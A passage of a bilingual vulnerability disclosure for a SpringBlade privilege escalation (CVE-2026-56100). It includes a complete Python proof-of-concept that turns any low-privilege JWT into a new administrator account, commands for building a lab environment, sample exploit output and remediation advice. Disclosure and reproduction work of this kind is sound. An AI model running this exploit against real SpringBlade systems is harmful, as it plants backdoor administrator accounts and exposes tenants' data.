\u5b57\u6bb5\u2014\u2014\u521b\u5efa\u51fa\u7684\u7ba1\u7406\u5458\u8d26\u53f7\u53ef\u4ee5**\u76f4\u63a5\u767b\u5f55\u7cfb\u7edf**\uff0c\u5f62\u6210\u5b8c\u6574\u53ef\u7528\u7684\u63d0\u6743\u95ed\u73af\uff1b\u8fd9\u662f\u6bd4\u811a\u672c\u4e00\u7684 DB \u843d\u5730\u9a8c\u8bc1\u66f4\u5f3a\u7684\u4e00\u6b65\u8bc1\u636e\uff1a\u5371\u5bb3\u4e0d\u4ec5\u662f\"\u521b\u5efa\u4e86\u4e00\u4e2a\u7ba1\u7406\u5458\u884c\u5217\u8bb0\u5f55\"\uff0c\u800c\u662f\"\u521b\u5efa\u4e86\u4e00\u4e2a\u53ef\u4ee5\u9a6c\u4e0a\u7528\u6765\u63a5\u7ba1\u7cfb\u7edf\u7684\u5de5\u4f5c\u8d26\u6237\"\u3002\n2. **\u51ed\u8bc1\u66f4\u8d34\u8fd1\u5b9e\u6218**\uff1a\u53ea\u9700 `Blade-Auth` \u5934\u4e2d\u643a\u5e26**\u4efb\u610f\u4e00\u4e2a\u5df2\u767b\u5f55\u4f4e\u6743\u9650\u7528\u6237\u7684\u771f\u5b9e JWT**\uff08\u4e5f\u53ef\u76f4\u63a5\u7c98\u8d34\u88f8 JWT\uff0c\u811a\u672c\u4f1a\u81ea\u52a8\u8865 `bearer ` \u524d\u7f00\uff09\uff0c\u65e0\u9700\u638c\u63e1\u7f51\u5173\u7b7e\u540d\u5bc6\u94a5\uff08\u5bf9 v3.6.0+ \u800c\u8a00\u53ef\u7528 true JWT\uff1b\u5bf9 2.7.3~v3.5.0 \u5219\u811a\u672c\u4e00\u7684\u786c\u7f16\u7801\u5bc6\u94a5\u4f2a\u9020\u4e5f\u9002\u7528\uff09\u3002\n\n```bash\n# --target \u4e3a\u524d\u7aef\u4ee3\u7406\u57fa\u5730\u5740\uff08\u5176 /api \u524d\u7f00\u4f1a\u88ab\u4ee3\u7406\u8f6c\u53d1\u5230\u7f51\u5173\uff09\npython3 create_admin_with_blade_auth.py \\\n  --target http://127.0.0.1:2888 \\\n  --blade-auth 'bearer eyJhbGciOi...\uff08\u4efb\u610f\u4f4e\u6743\u9650\u7528\u6237 token\uff09' \\\n  --account audit_admin_01\n\n# \u6210\u529f\u65f6 stdout \u4ec5\u8f93\u51fa\u4e24\u884c\uff08\u53ef\u76f4\u63a5\u7528\u4e8e\u767b\u5f55\u9a8c\u8bc1\uff09\uff1a\n#   account=audit_admin_01\n#   password=&amp;lt;\u968f\u673a\u751f\u6210\u7684\u660e\u6587\u53e3\u4ee4&amp;gt;\n\n# CLI \u5b8c\u6574\u9009\u9879\uff1a--target\uff08\u5fc5\u586b\uff0c\u524d\u7aef\u4ee3\u7406\u57fa\u5740\uff09/ --blade-auth\uff08\u5fc5\u586b\uff0cBlade-Auth \u5934\u503c\u6216\u88f8 JWT\uff09\n#   / --account\uff08\u9ed8\u8ba4 audit_admin_\uff0cASCII \u5f3a\u6821\u9a8c\uff09/ --password\uff08\u9ed8\u8ba4\u968f\u673a 16 \u4f4d\uff0c\u5b89\u5168\u5b57\u7b26\uff09\n#   / --tenant-id / --role-id / --dept-id / --post-id / --name / --real-name\n#   / --path\uff08\u9ed8\u8ba4 /api/blade-system/user/save-user\uff09/ --timeout\uff08\u9ed8\u8ba4 20s\uff09/ --store-raw-password\n```\n\n`poc/src/create_admin_with_blade_auth.py`\uff08\u5b8c\u6574\u811a\u672c\uff09\uff1a\n\n```python\n#!/usr/bin/env python3\n\"\"\"Create a SpringBlade administrator through the vulnerable save-user route.\n\nInputs required by default:\n  --target      Frontend proxy base URL, for example http://127.0.0.1:2888\n  --blade-auth  Value of the Blade-Auth header. A raw JWT is also accepted and\n                will be sent as \"bearer \".\n\nOn success, stdout contains only the created account and plaintext password.\nDiagnostic information is written to stderr.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport hashlib\nimport json\nimport re\nimport secrets\nimport string\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n\nSAFE_ACCOUNT = re.compile(r\"^[A-Za-z0-9_.@-]+$\")\nDEFAULT_FRONTEND_PROXY_PATH = \"/api/blade-system/user/save-user\"\n\n\ndef springblade_digest(password: str) -&amp;gt; str:\n    \"\"\"Replicate org.springblade.core.tool.utils.DigestUtil.encrypt.\"\"\"\n    md5_hex = hashlib.md5(password.encode(\"utf-8\")).hexdigest()\n    return hashlib.sha1(md5_hex.encode(\"utf-8\")).hexdigest()\n\n\ndef normalize_blade_auth(value: str) -&amp;gt; str:\n    value = value.strip()\n    if value.lower().startswith(\"blade-auth:\"):\n        value = value.split(\":\", 1)[1].strip()\n    if value[:6].lower() in {\"bearer\", \"crypto\"}:\n        return value\n    return f\"bearer {value}\"\n\n\ndef random_password(length: int = 16) -&amp;gt; str:\n    alphabet = string.ascii_letters + string.digits\n    return \"\".join(secrets.choice(alphabet) for _ in range(length))\n\n\ndef build_url(target: str, path: str) -&amp;gt; str:\n    target = target.rstrip(\"/\")\n    if not path:\n        return target\n    if not path.startswith(\"/\"):\n        path = \"/\" + path\n    if target.endswith(\"/api\") and path.startswith(\"/api/\"):\n        path = path[len(\"/api\"):]\n    return target + path\n\n\ndef post_json(url: str, blade_auth: str, body: dict[str, str], timeout: float) -&amp;gt; tuple[int, str]:\n    data = json.dumps(body, separators=(\",\", \":\")).encode(\"utf-8\")\n    request = urllib.request.Request(\n        url,\n        data=data,\n        headers={\n            \"Blade-Auth\": normalize_blade_auth(blade_auth),\n            \"Content-Type\": \"application/json\",\n            \"Accept\": \"application/json\",\n        },\n        method=\"POST\",\n    )\n    try:\n        with urllib.request.urlopen(request, timeout=timeout) as response:\n            return response.status, response.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as exc:\n        return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n\n\ndef parse_args() -&amp;gt; argparse.Namespace:\n    parser = argparse.ArgumentParser(\n        description=\"Create an administrator via the SpringBlade frontend /api proxy to the vulnerable save-user route.\"\n    )\n    parser.add_argument(\"--target\", required=True, help=\"Frontend proxy base URL, e.g. http://127.0.0.1:2888\")\n    parser.add_argument(\"--blade-auth\", required=True, help=\"Blade-Auth header value or raw JWT\")\n    parser.add_argument(\"--account\", default=f\"audit_admin_{int(time.time())}\", help=\"Admin account to create\")\n    parser.add_argument(\"--password\", default=None, help=\"Plaintext password to return; generated if omitted\")\n    parser.add_argument(\"--tenant-id\", default=\"000000\")\n    parser.add_argument(\"--role-id\", default=\"1123598816738675201\", help=\"Default SpringBlade administrator role id\")\n    parser.add_argument(\"--dept-id\", default=\"1123598813738675201\")\n    parser.add_argument(\"--post-id\", default=\"1123598817738675201\")\n    parser.add_argument(\"--name\", default=\"audit-admin\")\n    parser.add_argument(\"--real-name\", default=\"audit\")\n    parser.add_argument(\n        \"--path\",\n        default=DEFAULT_FRONTEND_PROXY_PATH,\n        help=f\"Request path under --target; default {DEFAULT_FRONTEND_PROXY_PATH}\",\n    )\n    parser.add_argument(\"--timeout\", type=float, default=20.0)\n    parser.add_argument(\n        \"--store-raw-password\",\n        action=\"store_true\",\n        help=\"Store the plaintext password directly. Do not use unless you only need DB write proof.\",\n    )\n    return parser.parse_args()\n\n\ndef main() -&amp;gt; int:\n    args = parse_args()\n    if not SAFE_ACCOUNT.match(args.account):\n        print(f\"Refusing unsafe account value: {args.account!r}\", file=sys.stderr)\n        return 2\n\n    plaintext_password = args.password or random_password()\n    stored_password = plaintext_password if args.store_raw_password else springblade_digest(plaintext_password)\n    url = build_url(args.target, args.path)\n    body = {\n        \"tenantId\": args.tenant_id,\n        \"account\": args.account,\n        \"password\": stored_password,\n        \"name\": args.name,\n        \"realName\": args.real_name,\n        \"roleId\": args.role_id,\n        \"deptId\": args.dept_id,\n        \"postId\": args.post_id,\n    }\n\n    print(f\"[*] POST {url}\", file=sys.stderr)\n    print(f\"[*] account={args.account} roleId={args.role_id}\", file=sys.stderr)\n    if not args.store_raw_password:\n        print(\"[*] password is stored as SpringBlade DigestUtil.encrypt(plaintext)\", file=sys.stderr)\n\n    status, response_body = post_json(url, args.blade_auth, body, args.timeout)\n    print(f\"[*] HTTP {status}\", file=sys.stderr)\n    print(f\"[*] response={response_body}\", file=sys.stderr)\n\n    try:\n        parsed = json.loads(response_body)\n    except json.JSONDecodeError:\n        parsed = {}\n\n    success = status == 200 and (\n        parsed.get(\"data\") is True\n        or parsed.get(\"success\") is True\n        or parsed.get(\"code\") == 200\n    )\n    if not success:\n        print(\"[!] administrator creation did not succeed\", file=sys.stderr)\n        return 1\n\n    print(f\"account={args.account}\")\n    print(f\"password={plaintext_password}\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n&amp;gt; \u6ce8\uff1a\u9488\u5bf9 **2.7.3 ~ 4.1.0**\uff08\u524d\u7f00 `/blade-user`\uff0c\u89c1 \u00a72.2\uff09\uff0c\u811a\u672c\u4e00\u5c06 `POC_PATH_PREFIX=/blade-user`\uff0c\u5bc6\u94a5\u6309 \u00a76.4 \u9009\u7528\uff082.7.3 \u4e3a `\"Blade\"`\uff0c2.8.0 ~ v3.5.0 \u4e3a\u957f\u4e32\u786c\u7f16\u7801\uff09\uff1b\u811a\u672c\u4e8c\u5c06 `--path` \u6539\u4e3a `/api/blade-user/user/save-user`\u3002\u6570\u636e\u5e93\u67e5\u8be2\u76ee\u6807\u8868\u540d\u3001\u5e93\u540d\u3001\u5bb9\u5668\u540d\u9700\u5bf9\u9f50\u5b9e\u9645\u73af\u5883\u3002\n\n---\n\n## 9. \u73af\u5883\u642d\u5efa\uff08\u4ece\u96f6\u5230\u590d\u73b0\uff09\n\n\u4ee5\u4e0b\u4e3a\"\u4e00\u952e\u590d\u73b0 CVE-2026-56100\"\u7684\u6700\u5c0f\u73af\u5883\uff08Docker\uff09\uff0c\u6750\u6599\u6765\u81ea SpringBlade \u81ea\u5e26\u90e8\u7f72\u6587\u4ef6\u3002**\u5df2\u5b9e\u6d4b\u4fee\u6b63**\u539f\u547d\u4ee4\u4e2d\u8dd1\u4e0d\u901a\u7684\u51e0\u5904\uff08nacos 3.x \u5fc5\u9700\u53c2\u6570\u3001MySQL8 \u516c\u94a5\u83b7\u53d6\u3001SQL \u6587\u4ef6\u5dee\u5f02\u3001\u53d8\u91cf\u540d\u7b14\u8bef\uff09\u3002\n\n### 9.1 \u6e90\u7801\n\n```bash\ngit clone https://github.com/chillzhuang/SpringBlade.git   # \u6216 gitee: https://gitee.com/smallc/SpringBlade.git\ngit checkout v4.10.0        # \u53d7\u5f71\u54cd\u7248\u672c\uff08\u4ea6\u53ef\u7528 2.7.3 / v3.0.0 / v3.1.0 \u7b49\uff0c\u89c1 \u00a72\uff09\n```\n\n### 9.2 \u6784\u5efa\n\n- **v4.x\uff08JDK 17 / Maven 3.9\uff09**\uff1a\u6784\u5efa `blade-gateway` \u4e0e `blade-service/blade-system`\uff1b2.7.3 ~ 4.1.0 \u65f6\u7b2c\u4e8c\u4e2a\u6a21\u5757\u4e3a `blade-service/blade-user`\u3002\n- **2.7.3 ~ v3.5.0\uff08JDK 8 / Maven 3.6\uff09**\u3002\n\n```bash\n# v4.x\nmvn -pl blade-gateway,blade-service/blade-system -am -DskipTests -Dflatten.skip=true package\n# 2.7.3 ~ 4.1.0\nmvn -pl blade-gateway,blade-service/blade-user -am -DskipTests -Dflatten.skip=true package\n# \u4ea7\u51fa\uff1ablade-gateway/target/blade-gateway.jar\u3001blade-service/blade-system(\u6216 blade-user)/target/*.jar\n```\n\n&amp;gt; \u5bb9\u5668\u5316\u6784\u5efa\u793a\u4f8b\uff08\u542b\u4f9d\u8d56\u7f13\u5b58\u6302\u8f7d\uff09\uff1a\n&amp;gt; ```bash\n&amp;gt; docker run --rm -v \"$PWD:/src\" -v \"$HOME/.m2:/root/.m2\" -w /src maven:3.9-eclipse-temurin-17 \\\n&amp;gt;   mvn -pl blade-gateway,blade-service/blade-system -am -DskipTests -Dflatten.skip=true package\n&amp;gt; ```\n\n### 9.3 \u4e2d\u95f4\u4ef6\uff08Docker\uff09\n\n\u4e09\u5904\u5df2\u5b9e\u6d4b\u4fee\u6b63\uff1a\u2460 nacos 3.x \u5f3a\u5236\u8981\u6c42 **\u226532 \u5b57\u8282 base64** \u7684 `NACOS_AUTH_TOKEN` \u53ca `NACOS_AUTH_IDENTITY_KEY/VALUE`\uff08\u793a\u4f8b\u7684 `'token'` \u592a\u77ed\u4f1a\u542f\u52a8\u5931\u8d25\uff09\uff1b\u2461 `blade.mysql.all.create.sql` **\u4ec5 v4.x \u5b58\u5728**\uff0c2.7.x / v3.x \u5bf9\u5e94\u7684\u5efa\u5e93\u811a\u672c\u4e3a `doc/sql/blade/blade-saber-mysql.sql`\uff1b\u2462 \u7aef\u53e3\u53ef\u6309\u9700\u8c03\u6574\uff0c\u4e0b\u6587\u7ed9\u51fa\u5b8c\u6574\u53ef\u7528\u547d\u4ee4\u3002\n\n```bash\n# MySQL\uff08v4.x \u7528 blade.mysql.all.create.sql\uff1bv3.x/2.x \u6539\u6302 blade-saber-mysql.sql\uff09\ndocker run -d --name sb-mysql -e MYSQL_ROOT_PASSWORD=root -e MYSQL_DATABASE=blade \\\n  -p 3307:3306 -v \"$PWD/doc/sql/blade/blade.mysql.all.create.sql:/docker-entrypoint-initdb.d/01.sql:ro\" mysql:8.0\n# Redis\ndocker run -d --name sb-redis -p 6380:6379 redis:7\n# Nacos\uff08standalone\uff1btoken \u7528 base64 -w0 \u907f\u514d\u6362\u884c\uff1bnacos client 1.4.x ~ 2.x \u6ce8\u518c\u7ecf\u5b9e\u6d4b\u5747\u4e0e 3.1.0 server \u517c\u5bb9\uff09\nNACOS_TOKEN=$(printf %s 'SecretKey012345678901234567890123456789012345678901234567890123456789' | base64 -w0)\ndocker run -d --name sb-nacos -p 8848:8848 -p 9848:9848 -p 9849:9849 \\\n  -e MODE=standalone -e NACOS_AUTH_ENABLE=false \\\n  -e NACOS_AUTH_TOKEN=\"$NACOS_TOKEN\" \\\n  -e NACOS_AUTH_IDENTITY_KEY=serverIdentity -e NACOS_AUTH_IDENTITY_VALUE=security \\\n  nacos/nacos-server:v3.1.0\n```\n\n### 9.4 \u542f\u52a8\u670d\u52a1\n\n```bash\nSIGN_KEY='springblade-vuln-sign-key-20260528-32chars'   # v3.6.0 ~ v4.10.0 \u9700\u663e\u5f0f\u63d0\u4f9b\uff08\u226532 \u4f4d\uff09\n# \u7528\u6237\u670d\u52a1\uff08v4.2.0 \u8d77\u4e3a blade-system:8106\uff1b2.7.3~4.1.0 \u4e3a blade-user\uff0c\u7aef\u53e3\u53ef\u81ea\u5b9a\uff0c\u5982 8102\uff09\n# \u6ce8\uff1aSpringBlade \u7684 LauncherServiceImpl \u4f1a\u628a LauncherConstant.nacosAddr(dev)=127.0.0.1:8848 \u6ce8\u5165 System\n# \u5c5e\u6027\u3002\u82e5 nacos \u4e0d\u5728\u672c\u673a 8848\uff0c\u5fc5\u987b\u7528 CLI \u53c2\u6570 --spring.cloud.nacos.discovery.server-addr= \u8986\u76d6\u3002\njava -jar blade-service/blade-system/target/blade-system.jar \\\n  --spring.profiles.active=dev --server.port=8106 \\\n  --spring.cloud.nacos.config.enabled=false \\\n  --spring.cloud.nacos.discovery.server-addr=127.0.0.1:8848 \\\n  --blade.datasource.dev.url='jdbc:mysql://127.0.0.1:3307/blade?useSSL=false&amp;amp;allowPublicKeyRetrieval=true&amp;amp;characterEncoding=utf8&amp;amp;serverTimezone=Asia/Shanghai' \\\n  --blade.datasource.dev.username=root --blade.datasource.dev.password=root \\\n  --spring.data.redis.host=127.0.0.1 --spring.data.redis.port=6380\n# \u6ce8\u610f\uff1a\u9488\u5bf9 MySQL 8 \u7684 caching_sha2_password \u5fc5\u987b\u52a0 allowPublicKeyRetrieval=true\uff08\u7f3a\u4e86\u670d\u52a1\u542f\u52a8\u5373\u5d29\uff09\n# 2.7.3 ~ v3.5.0 \u7528 --spring.redis.host/port\uff1bv3.6.0 \u8d77\u7528 --spring.data.redis.host/port\n\n# blade-gateway\uff08\u7aef\u53e3 18080\uff1blocator \u9ed8\u8ba4\u5df2\u5f00\u542f\u89c1 bootstrap.yml\uff09\njava -jar blade-gateway/target/blade-gateway.jar \\\n  --spring.profiles.active=dev --server.port=18080 \\\n  --spring.cloud.nacos.config.enabled=false \\\n  --spring.cloud.nacos.discovery.server-addr=127.0.0.1:8848 \\\n  --blade.token.sign-key=\"$SIGN_KEY\"\n# 2.7.3 ~ v3.5.0 \u7684\u7f51\u5173\u65e0\u9700 --blade.token.sign-key\uff08\u5bc6\u94a5\u786c\u7f16\u7801\uff0c\u89c1 \u00a76.4\uff09\n```\n\n&amp;gt; WSL2/\u5bb9\u5668\u73af\u5883\u53ef\u5c06 `java -jar` \u6362\u6210 `docker run -d --network host -v :/app/app.jar eclipse-temurin:8-jre(\u6216 :17-jre) java -jar /app/app.jar &amp;lt;\u53c2\u6570&amp;gt;`\u3002\n\n### 9.5 \u8fd0\u884c PoC \u5e76\u6838\u5bf9\n\n```bash\nPOC_GATEWAY_URL=http://127.0.0.1:18080 POC_PATH_PREFIX=/blade-system \\\nPOC_SIGN_KEY=\"$SIGN_KEY\" POC_MYSQL_CONTAINER=sb-mysql \\\npython3 poc/src/springblade_service_auth_bypass_poc.py\n# 2.7.3 ~ 4.1.0 \u6539\u4e3a POC_PATH_PREFIX=/blade-user\uff0c\u5bc6\u94a5\u6309 \u00a76.4\uff082.7.3 \u4e3a 'Blade'\uff09\n```\n\n\u9884\u671f\u5173\u952e\u8f93\u51fa\uff08\u5b9e\u6d4b\u4e0e v4.10.0 \u4e00\u81f4\uff09\uff1a\n```text\n[*] No-token control status: 401 {\"msg\":\"\u7f3a\u5931\u4ee4\u724c,\u9274\u6743\u5931\u8d25\",...}\n[*] Exploit status: 200 {\"code\":200,\"success\":true,\"data\":true,\"msg\":\"\u64cd\u4f5c\u6210\u529f\"}\n[*] Database row:  000000 poc_ poc-report-plain 1123598816738675201 ... \n[+] Vulnerability reproduced: low-privilege JWT reached save-user and created a user.\n```\n\n&amp;gt; **\u5bf9\u7167\u7ec4\uff08\u5df2\u4fee\u590d v5.0.0\uff0c\u9759\u6001\u6838\u5b9e\uff09**\uff1a`saveUser` \u63a5\u53e3\u5df2\u79fb\u9664\uff0c\u540c\u4e00\u8bf7\u6c42\u8fd4\u56de `404 \u6ca1\u627e\u5230\u8bf7\u6c42`\uff1b\u5185\u90e8 `/feign/...` \u7531 `InnerFilter` \u62e6\u622a\u8fd4\u56de `403 \u7981\u6b62\u8bbf\u95ee\u5185\u90e8\u63a5\u53e3`\u3002\n\n---\n\n## 10. \u4fee\u590d\u5efa\u8bae\n\n1. **\u5347\u7ea7\u81f3 `v5.0.0` \u53ca\u4ee5\u4e0a**\uff08\u542b\u6700\u65b0 `v5.0.1` / master\uff09\u3002\n2. \uff08\u82e5\u65e0\u6cd5\u5347\u7ea7\uff09**\u4e0d\u8981\u628a Feign \u5b9e\u73b0\u7c7b\u5f53\u4f5c\u5916\u90e8\u53ef\u8fbe\u7684 `@RestController`**\uff1a\u5c06\u5185\u90e8 Feign \u63a5\u53e3\u79fb\u5230\u72ec\u7acb `servlet path`\uff08\u5982 `/internal/`\uff09\u5e76\u5728\u7f51\u5173\u5c42\u5bf9 `/internal`\u3001`/feign` \u7b49\u524d\u7f00\u7edf\u4e00\u62e6\u622a\u3002\n3. \u5bf9\u5185\u90e8\u7528\u6237\u521b\u5efa\u63a5\u53e3**\u5f3a\u5236\u670d\u52a1\u95f4\u9274\u6743**\uff08\u5185\u90e8\u8c03\u7528\u4ee4\u724c / mTLS / \u6765\u6e90 IP \u767d\u540d\u5355\uff09\uff0c\u5e76\u8865\u5145\u4e25\u683c\u7684 `@PreAuth` \u6821\u9a8c\u3002\n4. **\u4e1a\u52a1\u6536\u53e3**\uff1a\u5373\u4fbf\u4f9b\u670d\u52a1\u95f4\u8c03\u7528\uff0c\u4e5f\u4e0d\u76f4\u63a5 `service.save` \u6301\u4e45\u5316\u5916\u90e8\u53ef\u63a7\u5b9e\u4f53\uff1b\u7edf\u4e00\u590d\u7528\u5e26\u6709\u79df\u6237\u7ed1\u5b9a\u3001\u5bc6\u7801\u52a0\u5bc6\u3001\u552f\u4e00\u6027\u6821\u9a8c\u7684\u4e1a\u52a1\u5165\u53e3\uff08\u5982 `userService.submit`\uff09\u3002\n5. \u751f\u4ea7\u73af\u5883\u5efa\u8bae**\u5173\u95ed discovery locator**\uff0c\u6539\u7528\u663e\u5f0f\u8def\u7531\u767d\u540d\u5355\uff0c\u9010\u6761\u914d\u7f6e\u9274\u6743\u7b56\u7565\u3002\n6. \u5bf9 `User` \u521b\u5efa\u63a5\u53e3\u505a**\u5b57\u6bb5\u767d\u540d\u5355**\uff0c\u7981\u6b62\u666e\u901a\u8bf7\u6c42\u63a7\u5236 `tenantId`\u3001`roleId`\u3001`deptId`\u3001`postId` \u7b49\u9ad8\u5371\u5b57\u6bb5\u3002\n\n### \u5e38\u89c1\"\u770b\u4f3c\u5df2\u4fee\u590d\u4f46\u4ecd\u4f1a\u88ab\u7ed5\"\u7684\u7f13\u89e3\u8bef\u533a\n\n- **\u8bef\u4ee5\u4e3a `@Hidden` \u5df2\u9690\u85cf\u4e86\u63a5\u53e3**\uff1a`@Hidden` \u53ea\u5f71\u54cd springdoc-openapi \u6587\u6863\u751f\u6210\uff0cSpring MVC \u8def\u7531\u4e00\u65e6\u6ce8\u518c\u5c31\u65e0\u6cd5\u64a4\u9500\uff08\u89c1 \u00a76.3\uff09\u2014\u2014\u9690\u85cf\u4e0d\u7b49\u4e8e\u4e0d\u53ef\u8fbe\u3002\n- **\u8bef\u4ee5\u4e3a\u52a0\u4e86 `@RestController` \u5c31\u6709\u9274\u6743**\uff1a\u8be5\u8def\u5f84\u7ee7\u627f\u7684\u662f `IUserClient` Feign \u63a5\u53e3\uff0c**Feign \u63a5\u53e3\u672c\u8eab\u4e0d\u505a\u4efb\u4f55\u6743\u9650\u6821\u9a8c**\uff1b\u4f7f\u7528\u8005\u82e5\u53ea\u5728\u8be5 Controller \u5185\u90e8\u6dfb\u52a0 `@PreAuth` \u800c\u5fd8\u4e86\u7f51\u5173\u8eab\u4efd\u9a8c\u8bc1\uff0c\u4ecd\u4f1a\u88ab\u540c\u4e00\u63a5\u53e3 bypass\u3002\n- **\u53ea\u62e6\u622a `RequestFilter`**\uff1a\u90e8\u5206\u90e8\u7f72\u4ee5\u4e3a\u5220\u9664 `RequestFilter` \u5c31\u5b89\u5168\u2014\u2014\u90a3\u662f\u9519\u7684\uff0cdiscovery locator \u7684\u9ed8\u8ba4 `RewritePath` \u4f9d\u7136\u5265\u79bb\u670d\u52a1\u540d\uff08\u89c1 \u00a72.1/\u00a75\uff09\u3002\u4fee\u590d\u5fc5\u987b**\u540c\u65f6\u5173\u95ed locator**\u6216**\u5728\u7f51\u5173\u8868\u91cc\u52a0\u5185\u90e8\u63a5\u53e3\u9ed1\u540d\u5355**\u3002\n- **\u4f9d\u8d56\u7f51\u5173 token \u6821\u9a8c\uff08\u542b `parseJWT` \u80fd\u7528\u5c31\u653e\u884c\uff09**\uff1a\u4ec5\u9a8c\u7b7e\u540d\u4e0d\u9a8c\u8bed\u4e49\uff08tenant/role/user \u5339\u914d\u5173\u7cfb\uff09\u7b49\u4e8e\"\u4fe1\u4efb\u94a9\u5b50\u4e0a\u6302\u4e86 valid JWT \u5c31\u653e\u884c\"\u2014\u2014\u8fd9\u6b63\u662f\u672c\u6f0f\u6d1e\u7684\u6838\u5fc3\u3002\n\n---\n\n## 11. \u53c2\u8003\u8d44\u6599\n\n- \u5b98\u65b9\u4ed3\u5e93\uff1aGitee `https://gitee.com/smallc/SpringBlade`\uff1bGitHub \u955c\u50cf `https://github.com/chillzhuang/SpringBlade`\n- \u53d7\u5f71\u54cd\u7248\u672c\uff1a**2.7.3 &amp;lt; v5.0.0\uff08\u4fee\u590d\u7248\u672c\u4e4b\u524d\u7684\u6240\u6709\u7248\u672c\uff09**\uff1b\u5176\u4e2d\u4ed3\u5e93\u6700\u540e\u53d7\u5f71\u54cd tag \u4e3a `v4.10.0`\uff08`3002202ed38ca0eed0bbf1f69d33fd056ef6b515`\uff0c2026-05-10\uff1b2.7.3 commit `503c853`\uff0c2020-09-14\uff09\n- \u4fee\u590d\u5f15\u5165\u7248\u672c\uff1a`v5.0.0`\uff08tag `c69b9547c942c697da2f3ee6a9265b6004abd645`\uff0c2026-07-30\uff09\n- CVE\uff1a**CVE-2026-56100**\n- \u5b98\u65b9\u5f00\u53d1\u624b\u518c\uff1a`https://gitee.com/smallc/SpringBlade/wikis/SpringBlade\u5f00\u53d1\u624b\u518c`\n\n---\n\n*\u672c\u6587\u6863\u7528\u4e8e\u5b89\u5168\u7814\u7a76 / \u6f0f\u6d1e\u62ab\u9732\uff0c\u8bf7\u52ff\u5728\u672a\u83b7\u6388\u6743\u65f6\u7528\u4e8e\u5b9e\u9645\u76ee\u6807\u6216\u9879\u76ee\u3002\u8bf7\u5728\u4fee\u590d\u524d\u5bf9\u53d7\u5f71\u54cd\u7cfb\u7edf\u91c7\u53d6\u7f13\u89e3\u63aa\u65bd\u3002*\n\n**\u62ab\u9732\u4fe1\u606f**\uff1a\n- \u5f71\u54cd\u529b\u8bc4\u7ea7\uff1a\u9ad8\u5371\uff08CVSS 8.1\uff09\n- \u5df2\u5206\u914d CVE-2026-56100\n- \u5f71\u54cd\u8303\u56f4 2.7.3 \u81f3 v5.0.0 \u4e4b\u524d\u6240\u6709\u7248\u672c\uff082020-09-14 ~ 2026-05-10\uff0cv4.10.0 \u4e3a\u6700\u540e\u53d7\u5f71\u54cd tag\uff09\uff0c\u5df2\u5728 v5.0.0 \u4fee\u590d\n\n# SpringBlade Privilege Escalation Disclosure (CVE-2026-56100 / Privilege Escalation)\n\n&amp;gt; **Any authenticated user \u2192 system administrator privilege escalation** (via unauthorized access to an internal Feign REST controller)\n&amp;gt;\n&amp;gt; **CVE-2026-56100** \uff5c Type: Privilege Escalation \uff5c Severity: **High** \uff5c CVSS 3.0: **8.1**\n&amp;gt;\n&amp;gt; CVSS Vector: `CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`\n\n---\n\n## Table of Contents\n\n0. [TL;DR (Summary)](#0-tldr-summary)\n1. [Vulnerability Information](#1-vulnerability-information)\n2. [Affected Versions](#2-affected-versions)\n3. [Prerequisites for Exploitation](#3-prerequisites-for-exploitation)\n4. [Impact](#4-impact)\n5. [Technical Analysis / Root Cause](#5-technical-analysis--root-cause)\n6. [Code Evidence (Precisely Annotated by Version)](#6-code-evidence-precisely-annotated-by-version)\n7. [Fix Status](#7-fix-status)\n8. [Reproduction Steps and Verification (Full PoC)](#8-reproduction-steps-and-verification-full-poc)\n9. [Environment Setup (From Scratch to Reproduction)](#9-environment-setup-from-scratch-to-reproduction)\n10. [Remediation Recommendations](#10-remediation-recommendations)\n11. [References](#11-references)\n\n---\n\n## 0. TL;DR (Summary)\n\nSpringBlade (the SpringBlade microservice edition, Java backend) enables **service-discovery-based dynamic routing** (discovery locator) in the `blade-gateway` gateway, and during authentication it **only verifies that a JWT parses successfully, without checking user roles, service-to-service caller identity, or access policy for internal Feign endpoints**. Meanwhile, in the downstream user-service module, the `UserClient` implementation class\u2014which should only serve inter-service Feign calls\u2014is annotated with `@RestController`, exposing it as a plain HTTP entry point. Its `saveUser` method has **no `@PreAuth` permission check whatsoever**, and directly calls `service.save(user)` to persist the user object from the request body 1:1.\n\n**Consequence**: Any low-privilege user holding **any valid JWT** can craft `POST /blade-user/user/save-user` (2.7.3 ~ 4.1.0) or `POST /blade-system/user/save-user` (v4.2.0+) through the gateway, directly invoking the downstream internal user-creation endpoint. With the attacker fully controlling fields such as `tenantId` / `account` / `password` / `roleId`, they can **create a super-administrator (`administrator`) account**, with the **password written to the database in plaintext** (bypassing `DigestUtil.encrypt` in the normal flow). This enables privilege escalation from regular user to administrator, cross-tenant data pollution, and a persistent backdoor.\n\nThe vulnerability exists from **2.7.3** (2020-09-14, when the `save-user` endpoint was first introduced) through **all versions prior to v5.0.0** (the last affected tag is `v4.10.0`, 2026-05-10), and was **officially fixed in `v5.0.0`** (`CVE-2026-56100`).\n\n---\n\n## 1. Vulnerability Information\n\n| Field | Content |\n|---|---|\n| **Vulnerability Name** | SpringBlade Privilege Escalation (stemming from a service-to-service authorization bypass) |\n| **CVE ID** | **CVE-2026-56100** |\n| **Product / Vendor** | SpringBlade (open-source microservice development platform, built on Spring Boot / Spring Cloud Alibaba / MyBatis-Plus) |\n| **Components** | `blade-gateway` (gateway) + `blade-system`/`blade-user` (user service) |\n| **Affected Versions** | **2.7.3 &amp;lt; v5.0.0 (all versions before the fix)** (lower boundary analyzed in \u00a72; 2.7.3 / v3.0.0 / v3.1.0 / v4.10.0 verified by live reproduction) |\n| **First Fixed Version** | **v5.0.0** |\n| **Severity** | High |\n| **CVSS 3.0** | 8.1 |\n| **CVSS Vector** | `CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **Attack Vector** | Network (remote) |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low (any valid JWT, or one forged after obtaining the gateway signing key) |\n| **User Interaction** | None |\n| **Post-Exploitation Impact** | Full escalation to administrator, cross-tenant data pollution, account-system compromise, plaintext passwords written to the database |\n\n---\n\n## 2. Affected Versions\n\n### 2.1 Affected Version Range\n\n| Version | `saveUser` write endpoint | Gateway path-stripping mechanism | Affected? |\n|---|---|---|---|\n| v2.0.0 ~ v2.7.2 | **None** 